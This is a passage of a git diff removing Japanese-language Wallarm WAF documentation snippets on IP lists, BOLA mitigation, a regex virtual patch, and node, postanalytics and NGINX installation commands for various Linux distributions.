-`example.com/api`へのリクエストは、`example.com/api`でフィルターする2つ目のtriggerでのみカウントされます。 \ No newline at end of file diff --git a/include-ja/waf/acl-block-page-annotation-support.md b/include-ja/waf/acl-block-page-annotation-support.md deleted file mode 100644 index 8466f42a1c..0000000000 --- a/include-ja/waf/acl-block-page-annotation-support.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! warning "アノテーションnginx.ingress.kubernetes.io/wallarm-acl-block-pageのサポート" - Wallarm Ingress controllerのアノテーション`nginx.ingress.kubernetes.io/wallarm-acl-block-page`は[Wallarm nodeバージョン2.18](/admin-en/configuration-guides/configure-block-page-and-code/)でのみサポートされています。 \ No newline at end of file diff --git a/include-ja/waf/configure-separate-postanalytics-address-nginx.md b/include-ja/waf/configure-separate-postanalytics-address-nginx.md deleted file mode 100644 index 99ec056b52..0000000000 --- a/include-ja/waf/configure-separate-postanalytics-address-nginx.md +++ /dev/null @@ -1,18 +0,0 @@ -ファイル`/etc/nginx/conf.d/wallarm.conf`にpostanalyticsサーバーのアドレスを追加します: - -```bash -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # 省略 - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -* 過剰な接続の作成を防ぐため、upstreamのTarantoolサーバーそれぞれに対して`max_conns`の値を指定する必要があります。 -* `keepalive`の値はTarantoolサーバーの数を下回らない必要があります。 -* デフォルトでは`# wallarm_tarantool_upstream wallarm_tarantool;`の行はコメントアウトされています。`#`を削除してください。 \ No newline at end of file diff --git a/include-ja/waf/features/bola-mitigation/bola-auto-mitigation-logic.md b/include-ja/waf/features/bola-mitigation/bola-auto-mitigation-logic.md deleted file mode 100644 index 44bf9f8330..0000000000 --- a/include-ja/waf/features/bola-mitigation/bola-auto-mitigation-logic.md +++ /dev/null @@ -1,15 +0,0 @@ -BOLA保護を有効化すると、Wallarmは次の処理を行います： - -1. BOLA攻撃の標的になりやすいAPIエンドポイントを特定します。例えば、[パスパラメータの可変性][variability-in-endpoints-docs]があるもの: `domain.com/path1/path2/path3/{variative_path4}`。 - - !!! info "この段階には一定の時間が必要です" - 脆弱なAPIエンドポイントの特定には、検出されたAPIインベントリおよび受信トラフィックの傾向を綿密に監視するための一定の時間が必要です。 - - 自動でBOLA攻撃から保護されるのは、**API Discovery**モジュールによって探索されたAPIエンドポイントのみです。保護対象のエンドポイントは[対応するアイコンでハイライト表示されます][bola-protection-for-endpoints-docs]。 -1. 脆弱なAPIエンドポイントをBOLA攻撃から保護します。既定の保護ロジックは次のとおりです。 - - * 脆弱なエンドポイントに対し、同一IPから1分あたり180件を超えるリクエストはBOLA攻撃と見なします。 - * 同一IPからのリクエスト数がしきい値に達したときのみ、イベントリストにBOLA攻撃を登録します。WallarmはBOLA攻撃をブロックしません。リクエストは引き続きアプリケーションに送信され続けます。 - - autoprotection templateにおけるreactionは**Only register attacks**です。 -1. [APIの変更][changes-in-api-docs]に応じて、新たに脆弱なエンドポイントを保護し、削除されたエンドポイントの保護を無効化します。 \ No newline at end of file diff --git a/include-ja/waf/features/ip-lists/autopopulation-by-antibot.md b/include-ja/waf/features/ip-lists/autopopulation-by-antibot.md deleted file mode 100644 index cf63cf7e9e..0000000000 --- a/include-ja/waf/features/ip-lists/autopopulation-by-antibot.md +++ /dev/null @@ -1,5 +0,0 @@ -また、Wallarmの[API Abuse Prevention](../../api-abuse-prevention/overview.md)モジュールは、悪意のあるボットのIPアドレスをgraylistまたはdenylistのいずれかに自動的に登録します。 - -ボットのIPアドレスは、`Bot` **Reason**および[confidence rate](../../api-abuse-prevention/overview.md#how-api-abuse-prevention-works)を含むその性質に関する詳細情報によって識別されます。例えば: - -![denylistに登録されたボットのIPアドレス](../../images/about-wallarm-waf/abi-abuse-prevention/denylisted-bot-ips.png) \ No newline at end of file diff --git a/include-ja/waf/features/ip-lists/common-actions-with-lists-allow-apps.md b/include-ja/waf/features/ip-lists/common-actions-with-lists-allow-apps.md deleted file mode 100644 index 0af68e601d..0000000000 --- a/include-ja/waf/features/ip-lists/common-actions-with-lists-allow-apps.md +++ /dev/null @@ -1,44 +0,0 @@ -[access-wallarm-api-docs]: ../../api/overview.md#your-own-client -[application-docs]: ../settings/applications.md - -## IPリストオブジェクトの取得・追加・削除のためのAPI呼び出し - -IPリストオブジェクトを取得・追加・削除するには、Wallarm Console UIの使用に加えて、[Wallarm APIを直接呼び出す](../../api/overview.md)こともできます。以下に対応するAPI呼び出しの例を示します。 - -### APIリクエストパラメータ - -IPリストを読み取り・変更するためのAPIリクエストに渡すパラメータです： - ---8<-- "../include/api-request-examples/ip-list-request-params.md" - -### `.csv`ファイルのエントリをリストに追加 - -`.csv`ファイル内のIPまたはサブネットをリストに追加するには、次のbashスクリプトを使用します： - ---8<-- "../include/api-request-examples/add-ips-to-lists-from-file.md" - -### 単一のIPまたはサブネットをリストに追加 - ---8<-- "../include/api-request-examples/add-some-ips-to-lists.md" - -### 複数の国をリストに追加 - ---8<-- "../include/api-request-examples/add-some-countries-to-lists.md" - -### 複数のプロキシサービスをリストに追加 - ---8<-- "../include/api-request-examples/add-some-proxies-to-lists.md" - -### IPリストからオブジェクトを削除 - -オブジェクトはIDによってIPリストから削除されます。 - -オブジェクトIDを取得するには、IPリストの内容をリクエストし、レスポンスから対象オブジェクトの`objects.id`をコピーします： - ---8<-- "../include/api-request-examples/get-ip-list-contents.md" - -オブジェクトIDが分かったら、次のリクエストを送信してリストから削除します： - ---8<-- "../include/api-request-examples/delete-object-from-ip-list.md" - -削除リクエストでIDを配列として渡すことで、複数のオブジェクトを一度に削除できます。 \ No newline at end of file diff --git a/include-ja/waf/features/ip-lists/common-actions-with-lists-overview.md b/include-ja/waf/features/ip-lists/common-actions-with-lists-overview.md deleted file mode 100644 index 4219167597..0000000000 --- a/include-ja/waf/features/ip-lists/common-actions-with-lists-overview.md +++ /dev/null @@ -1,5 +0,0 @@ -* 1つのIPアドレスまたはサブネットを追加します -* 特定の国/地域、データセンター、ネットワークなどに登録されているIPアドレスのグループを追加します -* リストにIPアドレスを保持する期間と理由を設定します -* リストからIPアドレスを削除します -* リストの変更履歴を確認します \ No newline at end of file diff --git a/include-ja/waf/features/ip-lists/common-actions-with-lists.md b/include-ja/waf/features/ip-lists/common-actions-with-lists.md deleted file mode 100644 index 7ea557f96d..0000000000 --- a/include-ja/waf/features/ip-lists/common-actions-with-lists.md +++ /dev/null @@ -1,58 +0,0 @@ -## リストにオブジェクトを追加する - -リストにIPアドレス、サブネット、またはIPアドレスのグループを追加するには、次の手順に従います。 - -1. **Add object**ボタンをクリックします。 -2. 次のいずれかの方法でIPアドレスまたはIPアドレスのグループを指定します。 - - * 単一の**IPアドレス**または**サブネット**を入力します - - !!! info "サポートされるサブネットマスク" - サポートされるサブネットマスクの最大値は、IPv6アドレスで`/32`、IPv4アドレスで`/12`です。 - - * その国/地域に登録されているすべてのIPアドレスを追加するために、**国**または**地域**（ジオロケーション）を選択します - * この種類に属するすべてのIPアドレスを追加するために、**ソースの種類**を選択します。例: - * **Tor** - TorネットワークのIPアドレス - * **Proxy** - パブリックまたはWebプロキシサーバーのIPアドレス - * **Search Engine Spiders** - 検索エンジンのクローラのIPアドレス - * **VPN** - 仮想プライベートネットワークのIPアドレス - * **AWS** - Amazon AWSに登録されたIPアドレス -3. IPアドレスまたはIPアドレスのグループをリストに追加しておく期間を選択します。最小は5分、最大は無期限です。 -4. IPアドレスまたはIPアドレスのグループをリストに追加する理由を指定します。 -5. IPアドレスまたはIPアドレスのグループのリストへの追加を確定します。 - -![IPアドレスをリストに追加（アプリなし）](../../images/user-guides/ip-lists/add-ip-to-list-without-app.png) - -## リストに追加されたオブジェクトの分析 - -Wallarm Consoleは、リストに追加された各オブジェクトについて次のデータを表示します。 - -* **Object** - リストに追加されたIPアドレス、サブネット、国/地域、またはIPソース。 -* **Application** - オブジェクトのアクセス構成が適用されるアプリケーション。[特定のアプリケーションへのオブジェクトアクセス構成の適用には制限があります](overview.md#known-caveats-of-ip-lists-configuration)ので、この列には常に値**All**が表示されます。 -* **Reason** - リストにIPアドレスまたはIPアドレスのグループを追加した理由。理由は、オブジェクトをリストに追加するときに手動で指定するか、[トリガー](../triggers/triggers.md)によってIPアドレスがリストに追加されたときに自動生成されます。 -* **Adding date** - オブジェクトがリストに追加された日時。 -* **Remove** - オブジェクトがリストから削除されるまでの期間。 - -## リストのフィルタリング - -リスト内のオブジェクトは、次の条件でフィルタできます。 - -* 検索文字列で指定したIPアドレスまたはサブネット -* リストの状態を確認したい期間 -* IPアドレスまたはサブネットが登録されている国/地域 -* IPアドレスまたはサブネットが属するソース - -## オブジェクトのリスト掲載期間を変更する - -IPアドレスのリスト掲載期間を変更するには、次の手順に従います。 - -1. リストからオブジェクトを選択します。 -2. 選択したオブジェクトのメニューで、**Change time period**をクリックします。 -3. オブジェクトをリストから削除する新しい日時を選択し、操作を確認します。 - -## リストからオブジェクトを削除する - -リストからオブジェクトを削除するには、次の手順に従います。 - -1. リストから1つ以上のオブジェクトを選択します。 -2. **Delete**をクリックします。 \ No newline at end of file diff --git a/include-ja/waf/features/multi-tenancy/partner-client-term.md b/include-ja/waf/features/multi-tenancy/partner-client-term.md deleted file mode 100644 index 15d95975e8..0000000000 --- a/include-ja/waf/features/multi-tenancy/partner-client-term.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! warning "用語「partner client」" - 以前は「tenant」は「partner client」と呼ばれていました。以降は「tenant」という用語を使用します。 \ No newline at end of file diff --git a/include-ja/waf/features/rules/request-part-reference.md b/include-ja/waf/features/rules/request-part-reference.md deleted file mode 100644 index bf773247b2..0000000000 --- a/include-ja/waf/features/rules/request-part-reference.md +++ /dev/null @@ -1 +0,0 @@ -**In this part of request**に追加するオプションは、Wallarmによる必要なリクエスト要素の読み取りにおける[パーサーの適用][request-processing]の順序を反映するよう、特定の順序での並びが必要です。 \ No newline at end of file diff --git a/include-ja/waf/features/rules/rule-creation-options.md b/include-ja/waf/features/rules/rule-creation-options.md deleted file mode 100644 index 746370206c..0000000000 --- a/include-ja/waf/features/rules/rule-creation-options.md +++ /dev/null @@ -1,6 +0,0 @@ -Wallarm Consoleの**Attacks**および**Rules WAF**セクションの両方でルールを作成して適用できます。 - -* **Attacks**セクションでは、ルールを適用する対象エンドポイントの説明があらかじめ入力された状態でルールが作成されます。エンドポイントの説明は、**Rule**ボタンをクリックしたリクエストに対応します。 - - ルールの設定を完了するには、ルールのアクションタイプを選択し、すべてのルールのコンポーネントが正しく設定されていることを確認してください。 -* **Rules WAF**セクションでは、すべてのルールのコンポーネントを手動で入力する必要があります。 \ No newline at end of file diff --git a/include-ja/waf/features/rules/rule-vpatch-regex.md b/include-ja/waf/features/rules/rule-vpatch-regex.md deleted file mode 100644 index 0a4b62c105..0000000000 --- a/include-ja/waf/features/rules/rule-vpatch-regex.md +++ /dev/null @@ -1,8 +0,0 @@ -たとえば、`example.com`ドメインでアクセス可能なアプリケーションが、ユーザー認証に32文字の16進数形式の`X-AUTHENTICATION`ヘッダーを使用しており、不正な形式のトークンを拒否したいとします。 - -そのためには、スクリーンショットのとおり、**Create regexp-based attack indicator**ルールを**Virtual patch**に設定し、次の値を指定します: - -* Regular expression: `^(.{0,31}|.{33,}|[^0-9a-fA-F]+)$` -* Request part: `header` - `X-AUTHENTICATION` - -![正規表現ルールの例1][img-regex-example1] \ No newline at end of file diff --git a/include-ja/waf/installation/add-nginx-waf-repos-4.2.md b/include-ja/waf/installation/add-nginx-waf-repos-4.2.md deleted file mode 100644 index 50a4bedfc0..0000000000 --- a/include-ja/waf/installation/add-nginx-waf-repos-4.2.md +++ /dev/null @@ -1,41 +0,0 @@ -=== "Debian 10.x（buster）" - ```bash - sudo apt install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Debian 11.x（bullseye）" - ```bash - sudo apt install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS（bionic）" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS（focal）" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.2/x86_64/wallarm-node-repo-4.2-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x以下" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.2/x86_64/wallarm-node-repo-4.2-0.el7.noarch.rpm - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.2/x86_64/wallarm-node-repo-4.2-0.el8.noarch.rpm - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/add-nginx-waf-repos-4.4.md b/include-ja/waf/installation/add-nginx-waf-repos-4.4.md deleted file mode 100644 index 823e68181f..0000000000 --- a/include-ja/waf/installation/add-nginx-waf-repos-4.4.md +++ /dev/null @@ -1,46 +0,0 @@ -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.4/x86_64/wallarm-node-repo-4.4-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x以下" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.4/x86_64/wallarm-node-repo-4.4-0.el7.noarch.rpm - ``` -=== "AlmaLinux、Rocky Linux、またはOracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.4/x86_64/wallarm-node-repo-4.4-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.4/x86_64/wallarm-node-repo-4.4-0.el8.noarch.rpm - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-clean-machine-latest.md b/include-ja/waf/installation/all-in-one-clean-machine-latest.md deleted file mode 100644 index 67d6bafe18..0000000000 --- a/include-ja/waf/installation/all-in-one-clean-machine-latest.md +++ /dev/null @@ -1,15 +0,0 @@ -オールインワンインストーラーを使用してモジュールをアップグレードする場合、既存のパッケージインストールをアップグレードできません。代わりにクリーンなマシンを使用する必要があります。そのため、手順1として、以下のサポート対象OSのいずれかを搭載したマシンを用意します： - -* Debian 10、11、12.x -* Ubuntu LTS 18.04、20.04、22.04 -* CentOS 7、8 Stream、9 Stream -* Alma/Rocky Linux 9 -* RHEL 8.x -* RHEL 9.x -* Oracle Linux 8.x -* Oracle Linux 9.x -* Redox -* SuSe Linux -* その他（対象リストは継続的に拡大しています。ご利用のOSがリストに含まれているかは[Wallarmサポートチーム](mailto:support@wallarm.com)にお問い合わせください） - -新しいクリーンなマシンを使用すると、ある時点で旧ノードと新ノードの両方が同時に存在することになります。これは望ましい状態です。旧ノードを停止せずに新ノードが正しく動作するかをテストできます。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-clean-machine.md b/include-ja/waf/installation/all-in-one-clean-machine.md deleted file mode 100644 index f9adea6c35..0000000000 --- a/include-ja/waf/installation/all-in-one-clean-machine.md +++ /dev/null @@ -1,14 +0,0 @@ -オールインワンインストーラーでモジュールをアップグレードする場合、既存のパッケージインストールはアップグレードできません。代わりにクリーンなマシンを使用する必要があります。したがって、手順1として、サポート対象OSのいずれかを搭載したマシンを用意してください： - -* Debian 10、11および12.x -* Ubuntu LTS 18.04、20.04、22.04 -* CentOS 7、8 Stream、9 Stream -* Alma/Rocky Linux 9 -* RHEL 8.x -* Oracle Linux 8.x -* Oracle Linux 9.x -* Redox -* SuSe Linux -* その他（リストは継続的に拡大しています。お使いのOSがリストに含まれているかは、[Wallarmサポートチーム](mailto:support@wallarm.com)にお問い合わせください） - -新しいクリーンなマシンを使用すると、ある時点で旧ノードと新ノードの両方が存在することになりますが、これは望ましいです。旧ノードを停止せずに新ノードが正しく動作するかをテストできます。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-installer-download-4.10.md b/include-ja/waf/installation/all-in-one-installer-download-4.10.md deleted file mode 100644 index 746278cae8..0000000000 --- a/include-ja/waf/installation/all-in-one-installer-download-4.10.md +++ /dev/null @@ -1,15 +0,0 @@ -Wallarmは次のプロセッサ向けにオールインワンインストールを推奨しています: - -* x86_64 -* ARM64（ベータ） - -オールインワンのWallarmインストールスクリプトをダウンロードするには、次のコマンドを実行します: - -=== "x86_64版" - ```bash - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.x86_64-glibc.sh - ``` -=== "ARM64版（ベータ）" - ```bash - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-installer-download-4.8.md b/include-ja/waf/installation/all-in-one-installer-download-4.8.md deleted file mode 100644 index 3d17ce9c8b..0000000000 --- a/include-ja/waf/installation/all-in-one-installer-download-4.8.md +++ /dev/null @@ -1,15 +0,0 @@ -Wallarmは以下のプロセッサ向けにオールインワンインストールを提供しています: - -* x86_64 -* ARM64（ベータ） - -Wallarmのオールインワンインストールスクリプトをダウンロードするには、次のコマンドを実行します: - -=== "x86_64版" - ```bash - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.x86_64-glibc.sh - ``` -=== "ARM64版（ベータ）" - ```bash - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-installer-download-5.0.md b/include-ja/waf/installation/all-in-one-installer-download-5.0.md deleted file mode 100644 index 8cb6d128d1..0000000000 --- a/include-ja/waf/installation/all-in-one-installer-download-5.0.md +++ /dev/null @@ -1,15 +0,0 @@ -Wallarmは以下のプロセッサ向けにオールインワンインストールを推奨します: - -* x86_64 -* ARM64（ベータ） - -オールインワンのWallarmインストールスクリプトをダウンロードするには、次のコマンドを実行します: - -=== "x86_64版" - ```bash - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.x86_64-glibc.sh - ``` -=== "ARM64版（ベータ）" - ```bash - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-installer-download.md b/include-ja/waf/installation/all-in-one-installer-download.md deleted file mode 100644 index 3ff63ae775..0000000000 --- a/include-ja/waf/installation/all-in-one-installer-download.md +++ /dev/null @@ -1,15 +0,0 @@ -Wallarmは以下のプロセッサ向けにオールインワンのインストールを推奨します： - -* x86_64 -* ARM64（ベータ） - -オールインワンのWallarmインストールスクリプトをダウンロードするには、次のコマンドを実行します： - -=== "x86_64バージョン" - ```bash - curl -O https://meganode.wallarm.com/6.4/wallarm-6.4.1.x86_64-glibc.sh - ``` -=== "ARM64バージョン（ベータ）" - ```bash - curl -O https://meganode.wallarm.com/6.4/wallarm-6.4.1.aarch64-glibc.sh - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-installer-run-4.10.md b/include-ja/waf/installation/all-in-one-installer-run-4.10.md deleted file mode 100644 index 9641677f9f..0000000000 --- a/include-ja/waf/installation/all-in-one-installer-run-4.10.md +++ /dev/null @@ -1,24 +0,0 @@ -1. ダウンロードしたスクリプトを実行します： - - === "APIトークン" - ```bash - # x86_64版を使用する場合： - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.x86_64-glibc.sh - - # ARM64版を使用する場合： - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.aarch64-glibc.sh - ``` - - `WALLARM_LABELS`変数は、ノードが追加されるグループを設定します（Wallarm Console UIでノードを論理的にグループ化するために使用します）。 - - === "ノードトークン" - ```bash - # x86_64版を使用する場合： - sudo sh wallarm-4.10.13.x86_64-glibc.sh - - # ARM64版を使用する場合： - sudo sh wallarm-4.10.13.aarch64-glibc.sh - ``` - -1. [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)を選択します。 -1. Wallarmトークンを入力します。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-installer-run-4.8.md b/include-ja/waf/installation/all-in-one-installer-run-4.8.md deleted file mode 100644 index cd67768987..0000000000 --- a/include-ja/waf/installation/all-in-one-installer-run-4.8.md +++ /dev/null @@ -1,24 +0,0 @@ -1. ダウンロードしたスクリプトを実行します: - - === "APIトークン" - ```bash - # x86_64バージョンをご利用の場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh - - # ARM64バージョンをご利用の場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh - ``` - - `WALLARM_LABELS`変数は、ノードが追加されるグループを設定します（Wallarm Console UIでノードの論理的なグループ化に使用されます）。 - - === "ノードトークン" - ```bash - # x86_64バージョンをご利用の場合: - sudo sh wallarm-4.8.10.x86_64-glibc.sh - - # ARM64バージョンをご利用の場合: - sudo sh wallarm-4.8.10.aarch64-glibc.sh - ``` - -1. [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)を選択します。 -1. Wallarmトークンを入力します。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-installer-run-5.0.md b/include-ja/waf/installation/all-in-one-installer-run-5.0.md deleted file mode 100644 index 3e53090ca3..0000000000 --- a/include-ja/waf/installation/all-in-one-installer-run-5.0.md +++ /dev/null @@ -1,24 +0,0 @@ -1. ダウンロードしたスクリプトを実行します: - - === "APIトークン" - ```bash - # x86_64版を使用する場合： - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.x86_64-glibc.sh - - # ARM64版を使用する場合： - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.aarch64-glibc.sh - ``` - - `WALLARM_LABELS`変数は、ノードが追加されるグループを設定します（Wallarm Console UIでノードを論理的にグループ化するために使用します）。 - - === "ノードトークン" - ```bash - # x86_64版を使用する場合： - sudo sh wallarm-5.3.19.x86_64-glibc.sh - - # ARM64版を使用する場合： - sudo sh wallarm-5.3.19.aarch64-glibc.sh - ``` - -1. [USクラウド](https://us1.my.wallarm.com/)または[EUクラウド](https://my.wallarm.com/)を選択します。 -1. Wallarmトークンを入力します。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-installer-run.md b/include-ja/waf/installation/all-in-one-installer-run.md deleted file mode 100644 index 691e5843df..0000000000 --- a/include-ja/waf/installation/all-in-one-installer-run.md +++ /dev/null @@ -1,24 +0,0 @@ -1. ダウンロードしたスクリプトを実行します: - - === "APIトークン" - ```bash - # x86_64バージョンを使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.x86_64-glibc.sh - - # ARM64バージョンを使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.aarch64-glibc.sh - ``` - - `WALLARM_LABELS`変数は、ノードが追加されるgroupを設定します（Wallarm Console UIでのノードの論理的なグループ化に使用します）。 - - === "ノードトークン" - ```bash - # x86_64バージョンを使用する場合: - sudo sh wallarm-6.4.1.x86_64-glibc.sh - - # ARM64バージョンを使用する場合: - sudo sh wallarm-6.4.1.aarch64-glibc.sh - ``` - -1. [USクラウド](https://us1.my.wallarm.com/) または [EUクラウド](https://my.wallarm.com/) を選択します。 -1. Wallarmトークンを入力します。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-nginx-4.10.md b/include-ja/waf/installation/all-in-one-nginx-4.10.md deleted file mode 100644 index c1a2d3d234..0000000000 --- a/include-ja/waf/installation/all-in-one-nginx-4.10.md +++ /dev/null @@ -1,32 +0,0 @@ -次のいずれかのNGINXの最新バージョンをインストールします: - -* **NGINX `stable`** - インストール方法はNGINXの[ドキュメント](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/)を参照してください。 -* **NGINX Mainline**（サポートされている最新バージョンはv1.25.5です）- インストール方法はNGINXの[ドキュメント](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/)を参照してください。 -* **NGINX Plus**（サポートされている最新バージョンはNGINX Plus R32です）- インストール方法はNGINXの[ドキュメント](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-plus/)を参照してください。 -* **ディストリビューション提供のNGINX** - インストールするには、次のコマンドを使用します: - - === "Debian" - ```bash - sudo apt update - sudo apt -y install --no-install-recommends nginx - ``` - === "Ubuntu" - ```bash - sudo apt-get update - sudo apt-get install nginx - ``` - === "CentOS" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-nginx.md b/include-ja/waf/installation/all-in-one-nginx.md deleted file mode 100644 index 8663d21b4f..0000000000 --- a/include-ja/waf/installation/all-in-one-nginx.md +++ /dev/null @@ -1,32 +0,0 @@ -次のいずれかのNGINXの最新バージョンをインストールします: - -* **NGINX `stable`**（サポートされている最新バージョンはv1.28.0です） - インストール方法はNGINXの[ドキュメント](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/)を参照してください。 -* **NGINX Mainline**（サポートされている最新バージョンはv1.27.5です） - インストール方法はNGINXの[ドキュメント](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/)を参照してください。 -* **NGINX Plus**（サポートされている最新バージョンはNGINX Plus R33です） - インストール方法はNGINXの[ドキュメント](https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-plus/)を参照してください。 -* **ディストリビューション提供のNGINX** - インストールには、次のコマンドを使用します: - - === "Debian" - ```bash - sudo apt update - sudo apt -y install --no-install-recommends nginx - ``` - === "Ubuntu" - ```bash - sudo apt-get update - sudo apt-get install nginx - ``` - === "CentOS" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - sudo yum -y update - sudo yum install -y nginx - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-postanalytics-4.10.md b/include-ja/waf/installation/all-in-one-postanalytics-4.10.md deleted file mode 100644 index 4062f7dd0c..0000000000 --- a/include-ja/waf/installation/all-in-one-postanalytics-4.10.md +++ /dev/null @@ -1,21 +0,0 @@ -オールインワンインストーラでpostanalyticsのみを個別にインストールするには、以下を使用します： - -=== "APIトークン" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.x86_64-glibc.sh postanalytics - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.aarch64-glibc.sh postanalytics - ``` - - `WALLARM_LABELS`変数は、ノードが追加されるグループを設定します（Wallarm Console UIでノードを論理的にグループ化するために使用されます）。 - -=== "ノードトークン" - ```bash - # x86_64版を使用する場合: - sudo sh wallarm-4.10.13.x86_64-glibc.sh postanalytics - - # ARM64版を使用する場合: - sudo sh wallarm-4.10.13.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git 